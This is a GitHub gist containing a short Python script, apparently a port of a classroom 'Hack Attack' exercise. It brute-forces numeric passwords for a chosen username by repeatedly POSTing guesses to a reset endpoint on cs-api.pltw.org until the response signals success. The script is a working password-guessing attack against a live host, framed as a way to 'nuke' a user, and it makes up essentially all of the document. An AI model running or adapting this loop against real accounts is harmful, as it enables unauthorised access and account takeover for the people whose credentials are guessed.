Created
December 21, 2021 21:31
-
-
Save goop32/b7ad5242495f4b6d25ec33a94eef7082 to your computer and use it in GitHub Desktop.
PLTW 1.2.2 Hack Attack, but Python (requires requests)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import requests | |
| username = input("what username should we nuke? ") | |
| hacked = False | |
| password = 2800 | |
| while hacked == False: | |
| password += 1 | |
| print("password is " + str(password)) | |
| reset_url = "https://cs-api.pltw.org/" + username + "/reset?password=" + str(password) | |
| print("reset_url is " + reset_url) | |
| r = requests.post(reset_url) | |
| print("request text is " + r.text) | |
| if "Data for endpoint" in r.text: | |
| hacked = True |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment